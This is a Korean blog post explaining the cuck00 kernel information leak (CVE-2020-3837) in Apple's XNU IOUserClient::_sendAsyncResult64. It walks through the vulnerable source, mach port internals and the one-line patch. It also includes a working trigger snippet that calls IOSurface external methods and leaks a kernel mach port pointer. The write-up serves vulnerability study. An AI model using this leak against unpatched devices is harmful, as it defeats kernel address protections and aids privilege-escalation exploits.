cuck00 (CVE-2020-3837)

2020년 1월에 패치 된 커널 info leak 취약점 입니다.
Siguza의 블로그 글을 읽고 정리 한 내용입니다.

20 year old *OS kernel bug!!

해당 취약점은 2000년에 apple opensource에 처음 공개되었던 xnu-123.5 버전부터 존재해온 취약점입니다. 지난번에는 17살 된 리눅스 취약점에 대해 포스팅 했는데 이 취약점은 무려 20살 입니다.

예상치 못한 곳에서 튀어나온 버그여서 “cuck00”라는 이름이 붙었습니다.

cuck00

Fixed in
iOS 13.3.1: https://support.apple.com/en-us/HT210918
macOS 10.15.3: https://support.apple.com/en-us/HT210919

bug tracker여기

Bug

IOKit 드라이버는 콜백 메커니즘을 자주 사용하며, 일반적으로 mach port를 중심으로 구현됩니다. 이를 위한 표준은 없지만 IOUserClient에 의해 제공되는 드라이버의 기능들은 OSAsyncReference64를 사용합니다. OSAsyncReference64의 정의를 따라가보면 io_user_reference_t의 배열이라는 것을 알 수 있습니다.

enum {
	kOSAsyncRef64Count  = 8,
	kOSAsyncRef64Size   = kOSAsyncRef64Count * ((int) sizeof(io_user_reference_t))
};
typedef io_user_reference_t OSAsyncReference64[kOSAsyncRef64Count];

io_user_reference_t는 uint64_t 입니다. 이 타입명을 통해 userland로부터 값이 설정된다는 것을 알 수 있습니다.

IOKit 드라이버는 OSAsyncReference64 구조체를 수동으로 만들거나 IOUserClient::setAsyncReference64를 호출할 수 있습니다. 사용자 영역으로의 메시지 전송은 IOUserClient::_sendAsyncResult64에 의해 수행 됩니다. (source)

IOReturn
IOUserClient::_sendAsyncResult64(OSAsyncReference64 reference,
    IOReturn result, io_user_reference_t args[], UInt32 numArgs, IOOptionBits options)
{
	struct ReplyMsg {
		mach_msg_header_t msgHdr;
		union{
			struct{
				OSNotificationHeader     notifyHdr;
				IOAsyncCompletionContent asyncContent;
				uint32_t                 args[kMaxAsyncArgs];
			} msg32;
			struct{
				OSNotificationHeader64   notifyHdr;
				IOAsyncCompletionContent asyncContent;
				io_user_reference_t      args[kMaxAsyncArgs] __attribute__ ((packed));
			} msg64;
		} m;
	};
	ReplyMsg      replyMsg;
	mach_port_t   replyPort;
	kern_return_t kr;

	// If no reply port, do nothing.
	replyPort = (mach_port_t) (reference[0] & ~kIOUCAsync0Flags);
	// ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
	// ↑↑↑↑↑ 여기 보세요 ↑↑↑↑↑
	// ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
	if (replyPort == MACH_PORT_NULL) {
		return kIOReturnSuccess;
	}

	if (numArgs > kMaxAsyncArgs) {
		return kIOReturnMessageTooLarge;
	}

	bzero(&replyMsg, sizeof(replyMsg));
	replyMsg.msgHdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND /*remote*/,
	    0 /*local*/);
	replyMsg.msgHdr.msgh_remote_port = replyPort;
	replyMsg.msgHdr.msgh_local_port  = NULL;
	replyMsg.msgHdr.msgh_id          = kOSNotificationMessageID;
	if (kIOUCAsync64Flag & reference[0]) {
		replyMsg.msgHdr.msgh_size =
		    sizeof(replyMsg.msgHdr) + sizeof(replyMsg.m.msg64)
		    - (kMaxAsyncArgs - numArgs) * sizeof(io_user_reference_t);
		replyMsg.m.msg64.notifyHdr.size = sizeof(IOAsyncCompletionContent)
		    + numArgs * sizeof(io_user_reference_t);
		replyMsg.m.msg64.notifyHdr.type = kIOAsyncCompletionNotificationType;
		bcopy(reference, replyMsg.m.msg64.notifyHdr.reference, sizeof(OSAsyncReference64));
		// ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
		// ↑↑↑↑↑ 여기 보세요 ↑↑↑↑↑
		// ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑

		replyMsg.m.msg64.asyncContent.result = result;
		if (numArgs) {
			bcopy(args, replyMsg.m.msg64.args, numArgs * sizeof(io_user_reference_t));
		}
	} else {
		[...]
	}

	[...]
}

이 함수는 OSAyncReference64를 가져와서 mach message를 구성하고 userland로 보냅니다. OSAsyncReference64의 첫 번째 요소는 mach_port_t 입니다. 여기서 문제가 발생하는데, 이 버그를 이해하기 위해서는 mach_port_t에 대한 지식이 필요합니다.

mach_port_t는 mach port를 가리킵니다. mach port는 커널의 데이터 구조체를 가리키며, 이를 통해 리소스와 서비스에 대한 작업을 처리할 수 있고 메시지를 주고 받기 위한 통신 채널이 되기도 합니다.

mach port

mach_port_t는 유저 영역과 커널 영역에서 각각 다른 형태로 저장됩니다.

유저 영역에서의 mach port는 mach port name으로 존재합니다. 커널에 할당되어 있는 mach port의 실제 주소는 유저 영역에서 드러나지 않습니다.
커널 영역에서는 커널에 할당된 mach port인 struct ipc_port의 주소를 가리킵니다.

mach port

유저 영역에서 mach port name으로 무언가 작업을 요청하게 되면 해당 유저 task의 ipc space에서 ipc entry table을 참조하여 port name에 대해 조회합니다. port name은 24-bit의 entry index와 8-bit의 generation count로 구성되어 있습니다. entry index와 generation count 정보를 이용하여 커널은 port name에 해당하는 ipc_port_t의 주소를 찾아갈 수 있습니다.

다시 취약점으로 돌아와보면,

replyPort = (mach_port_t) (reference[0] & ~kIOUCAsync0Flags);
// reference의 첫 번째 필드는 mach_port_t
bcopy(reference, replyMsg.m.msg64.notifyHdr.reference, sizeof(OSAsyncReference64));
// reference를 복사하여 mach message 구성

IOUserClient::_sendAsyncResult64함수는 raw pointer로 존재하는 mach_port_t를 userland에게 전달하게 되는 것입니다.

이 버그는 트리거 하는 방법도 굉장히 간단합니다. 해당 함수를 사용할 수 있는 IOKit 드라이버를 선택하여 함수를 호출하면 커널 포인터를 획득하게 됩니다.

Trigger

IOSruface 드라이버를 선택하여 취약점을 트리거 하는 방법입니다. (source)
IOUserClient::_sendAsyncResult64 호출이 가능한 다른 드라이버를 선택해도 되는데 여기서는 iOS와 macOS에 모두 존재하고 대부분의 context에서 사용할 수 있는 IOSurface를 선택했습니다.

    uint64_t in[3] = { 0, 0, 0 };
    ret = IOConnectCallAsyncStructMethod(client, IOSURFACE_SET_NOTIFY, port, refs, 8, in, sizeof(in), NULL, NULL);
    LOG("setNotify: %s", mach_error_string(ret));
    if(ret != KERN_SUCCESS) goto out;

    uint64_t id = surface.data.id;
    ret = IOConnectCallScalarMethod(client, IOSURFACE_INCREMENT_USE_COUNT, &id, 1, NULL, NULL);
    LOG("incrementUseCount: %s", mach_error_string(ret));
    if(ret != KERN_SUCCESS) goto out;

    ret = IOConnectCallScalarMethod(client, IOSURFACE_DECREMENT_USE_COUNT, &id, 1, NULL, NULL);
    LOG("decrementUseCount: %s", mach_error_string(ret));
    if(ret != KERN_SUCCESS) goto out;

    msg_t msg = { { 0 } };
    ret = mach_msg(&msg.head, MACH_RCV_MSG, 0, (mach_msg_size_t)sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    LOG("mach_msg: %s", mach_error_string(ret));
    if(ret != KERN_SUCCESS) goto out;

    result = msg.notify.ref[0] & ~3; // <-- leak port
  • async 함수 중 하나를 사용하여 setNotify(external method 17)를 호출
  • incrementUseCount(external method 14)를 호출하고 decrementUseCount(external method 15)를 호출
    • 실제로 무엇을 의도하고 있는지 모르겠지만 count가 0이 되면 메시지가 userland로 다시 전송 됨
  • mach port에서 메시지를 받고 kernel pointer를 획득
    • 획득한 포인터는 메시지를 받은 mach port의 주소임

mach port의 포인터가 필요한 버그가 있거나 valid한 커널 포인터가 필요한 버그가 있다면 이 버그를 이용하여 커널 포인터를 획득할 수 있습니다.

또한 Apple의 새로운 칩셋인 A14에서 MTE(Memory Tagging Extension)가 도입된다는 얘기가 있었는데(실제로는 도입되지 않음), MTE는 data pointer의 상위 바이트에 몇 비트의 태깅 정보를 포함시키고, 포인터 접근시 하드웨어가 off-site storage에 대해 해당 태그를 검증하는 보호기법입니다. 메모리가 할당되거나 해제 될 때마다 태그를 변경하도록 하기 때문에 메모리 관련 버그를 방어하게 됩니다.
하지만 mach port 포인터를 획득할 수 있다면 태그 정보도 같이 획득할 수 있게 됩니다.
이 버그는 userland에 대한 자발적인 copyout이기 때문에 이를 보호하는 미티게이션은 없습니다.

Fix

bcopy(&reference[1], &replyMsg.m.msg64.notifyHdr.reference[1], sizeof(OSAsyncReference64) - sizeof(reference[0]));

bcopy에서 첫 번째 8 바이트를 제외하고 복사하도록 패치가 이루어졌습니다. (source)